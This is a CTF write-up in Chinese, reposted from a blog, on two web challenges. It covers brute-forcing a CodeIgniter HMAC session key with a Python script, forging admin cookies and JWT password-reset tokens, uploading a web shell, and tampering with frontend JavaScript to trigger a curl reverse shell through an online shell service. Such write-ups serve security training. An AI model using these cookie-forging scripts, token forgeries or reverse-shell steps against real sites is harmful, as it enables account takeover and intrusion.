0


【Web】NSSCTF Round#20 Basic 两道0解题的赛后谈

前言

本想着说看看go的gin框架就睡了的,r3师傅提醒说赛题环境已经上了,那不赶紧研究下😀

主要来谈谈做题的心路历程

baby-Codeigniter

拿到题目的第一反应应该是:“什么是Codeigniter”,接着自然会去面向搜索引擎解题

在那之前,我们可以做到一些有限的事

弱口令admin 123456登录成功

但权限不够,需要super administor,自然的,我们会去看cookie

url解码后,是一段有意义的键值对+hash值

尝试将0改为1(false->true),并urlencode还原

然未果,显然结尾的hash部分是鉴权的关键,具体的密钥、算法?这些我们都不知道,需要借助搜索引擎。但大方向我们基本可以确定是session伪造了

很容易搜出P牛文章:

客户端 session 导致的安全问题 | 离别歌

接着就顺藤摸瓜找到爆破secretkey的

https://github.com/Dionach/CodeIgniterXor

但并不能爆出来🤔然后当时就卡死了啊哈哈(

后来询问出题人说用的那套源码不是xor加密,而是hash_hmac加密,前者是更低版本的加密方式

歪日,可是也没给我源码啊QWQ(

不妨在此处下个断言:“在拿到源码的条件下,只要验证信息存储在了客户端,而非服务端,都有伪造的可能。”

审计源码,找到set_cookie的逻辑

function _set_cookie($cookie_data = NULL)  
    {  
        if (is_null($cookie_data))  
        {  
            $cookie_data = $this->userdata;  
        }  
  
        // Serialize the userdata for the cookie  
        $cookie_data = $this->_serialize($cookie_data);  
  
        if ($this->sess_encrypt_cookie == TRUE)  
        {  
            $cookie_data = $this->CI->encrypt->encode($cookie_data);  
        }  
  
        $cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);  
  
        $expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();  
  
        // Set the cookie  
        setcookie(  
            $this->sess_cookie_name,  
            $cookie_data,  
            $expire,  
            $this->cookie_path,  
            $this->cookie_domain,  
            $this->cookie_secure  
        );
  1. 函数名为 _set_cookie,它接受一个可选参数 $cookie_data,用于指定要存储在 cookie 中的会话数据。
  2. 如果没有提供 $cookie_data 参数,函数将使用类属性 $this->userdata 中的数据。
  3. 接下来,会话数据被序列化,以便存储在 cookie 中。这是因为 cookie 只能存储字符串数据,所以需要序列化对象或数组等非字符串数据。
  4. 如果配置中设置了 sess_encrypt_cookieTRUE,则会话数据会被加密。这通常用于提高安全性,以防止会话数据被篡改。
  5. 接着,会话数据被附加上一个 HMAC(Hash-based Message Authentication Code),以确保数据的完整性和真实性。HMAC 是通过将密钥和数据进行哈希计算而生成的。
  6. 过期时间 expire 被设置为 $this->sess_expire_on_closeTRUE 时为 0,否则为当前时间加上会话过期时间。
  7. 最后,使用 setcookie 函数来设置 cookie,包括 cookie 的名称、值、过期时间、路径、域和安全性等信息。

显然靶机这里sess_encrypt_cookie为false,那就好办了,我们可以用爆破的方式来反向推出密钥

根据上述逻辑交给gpt去写爆破脚本

import hmac
import urllib.parse
import hashlib
import time

def EncryCookie(cookie,secret):
    cookie = urllib.parse.unquote_plus(cookie)
    cookielen=len(cookie)-40
    cookie = cookie[:cookielen].replace('"superadmin";b:0;}','"superadmin";b:1;}')
    hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()
    return urllib.parse.quote_plus(cookie+hmacstr)

def CrackSecret(cookie,secret):
    cookie = urllib.parse.unquote_plus(cookie)
    cookielen=len(cookie)-40
    hmac_check = cookie[cookielen:]
    cookie = cookie[:cookielen]
    hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()
    return hmac_check == hmacstr

if __name__ == "__main__":
    cookie = "a%3A9%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2299e46d024b833c6b5500dedf50c788b6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22211.83.126.36%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A111%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F123.0.0.0+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1711815002%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A12%3A%22is_logged_in%22%3Bb%3A1%3Bs%3A10%3A%22superadmin%22%3Bb%3A0%3B%7D0dc8ff2053d4e55770718165801d42d106b53040"
    secrets = []
    with open("secret.txt") as f:
        secrets = f.readlines()
    starttime=time.time()
    for secret in secrets:
        secret=secret.strip("\n")
        result  = CrackSecret(cookie,secret)
        if result == True:
            print("[+]Success:"+secret)
            encrycookie=EncryCookie(cookie,secret)
            print(encrycookie)
            exit(0)
        else:
            print("[-]Test:"+secret)

成功爆破出密钥为123456,并拿到伪造的session

带着修改的cookie,上传shell

连蚁剑,拿flag

组合拳!

进来弱口令没爆出admin,然后注册个账号尝试登录,显示权限过低,这不一眼垂直越权😂

还没登录进去,自然也就没有cookie,不能直接伪造

那咋整呢,可以去研究下“忘记密码”功能

拿到一段重置密码的url

http://node6.anna.nssctf.cn:28537/#/[email protected]&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMjExMzU2NjUyMEBxcS5jb20iLCJlbWFpbCI6IjIxMTM1NjY1MjBAcXEuY29tIiwidHlwZSI6M30.iyVS_MGthahgJtRcTbICgKP4tYySG8c_9h1Y6vrc9UA

分为两部分,第一部分是email地址,第二部分是一段jwt的token

关于管理员email地址,可以扫一下目录:

访问/.well-known/security.txt 得知管理员邮箱为Administrator@163.com

访问/README.md,不知道有啥用

搞定了email的问题,我们下面重点关注token

直接拖到jwt.io里去解密,很明显要把name和email分别改成admin和Administrator@163.com

jwt的密钥用jwtcrack来爆破就行,得到是APjT

再伪造下jwt

访问url

http://node6.anna.nssctf.cn:28537/#/[email protected]&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjN9.X6FS_v6PLmG4jkZib0PmJZbs4WARAWc1bQsAmBPrxQI

重置好了密码为123456

输入admin 123456成功登录

更多功能->资源下载

对任务内容base64解码后为print("hello world"),是一段py代码

我们只要给恶意命令base64编码然后更新任务即可,但抽象的是,更新的间隙足足有864000秒,即24小时,而且貌似前端还改不来🤔

提交也抓不来包,只能审js了(这里真的很不擅长,只能跟着官方wp走了

其给出的合理说法是每当更新任务时,都会调用getKey

其响应体为

关键词搜索keycode

这里的逻辑是判断keycode是否为字符串,是就跳转到 case 11 分支

在return处下断点

可以看到最后的返回值就是n和o的异或的结果,这个我们不必在意,只要知道与二者都相关就可

将反弹shell命令base64编码(经过询问出题人,直接nc或bash靶机都不支持,只能curl了)

用这个网站来弹

https://your-shell.com/

在此处下断点,可以操作局部变量n

控制台改n的值,令time为1

继续跟几步,可以看到成功修改了time

成功执行命令,反弹shell,拿到flag

标签: nssctf ctf web

本文转载自: https://blog.csdn.net/uuzeray/article/details/137187039
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。

“【Web】NSSCTF Round#20 Basic 两道0解题的赛后谈”的评论:

还没有评论